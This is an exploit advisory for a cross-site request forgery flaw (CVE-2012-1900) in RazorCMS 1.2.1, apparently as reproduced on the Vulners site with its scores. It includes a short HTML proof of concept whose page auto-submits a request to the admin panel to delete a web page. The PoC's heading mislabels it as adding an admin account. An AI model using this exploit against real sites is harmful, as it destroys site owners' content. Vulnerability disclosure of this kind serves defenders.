RazorCMS 1.2.1 Stable - Cross-Site Request Forgery (Delete Web Pages)
| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
 | CVE-2012-1900 | 22 Oct 201223:00 | – | cve |
 | CVE-2012-1900 | 22 Oct 201223:00 | – | cvelist |
 | EUVD-2012-1910 | 7 Oct 202500:30 | – | euvd |
 | CVE-2012-1900 | 22 Oct 201223:55 | – | nvd |
 | Cross site request forgery (csrf) | 22 Oct 201223:55 | – | prion |
+------------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : RazorCMS <= 1.2.1 STABLE CSRF (Delete Web Pages)
# Date : 08-03-2012
# Author : Ivano Binetti (http://www,ivanobinetti.com)
# Software link : http://www.razorcms.co.uk/archive/core/razorCMS_core_v1_2_1_STABLE.zip
# Vendor site : http://www.razorcms.co.uk/
# Version : 1.2.1 STABLE and lower
# Tested on : Debian Squeeze (6.0)
+------------------------------------------------------------------------------------------------------------------------------------+
Summary
1)Introduction
2)Vulnerabilities Description
3)Exploit (Delete Web Page)
+------------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
"razorCMS is ideally suited to small to medium website projects, it can be run without need for a database, due to it's flat file
structure it has no need for a database meaning it can also be a cost effected method in content management, allowing it to be
used on the cheapest of web hosts, or even free hosting".
2)Vulnerabilities Description
RazorCMS 1.2.1 STABLE (and lower) is affected by CSRF Vulnerability which allows an attacker to delete web pages, both published
and unpublished.
3)Exploit (Delete Web Page)
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add ADMIN account</H2>
<form method="POST" name="form0" action="http://<razorcms_ip>:80/razorcms/admin/?action=showcats&unpub=true&slabID=2&catname=sidebar">
</body>
</html>
In this POC I've deleted web page with ID=2
+------------------------------------------------------------------------------------------------------------------------------------+Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Mar 2012 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 26.8
EPSS0.02635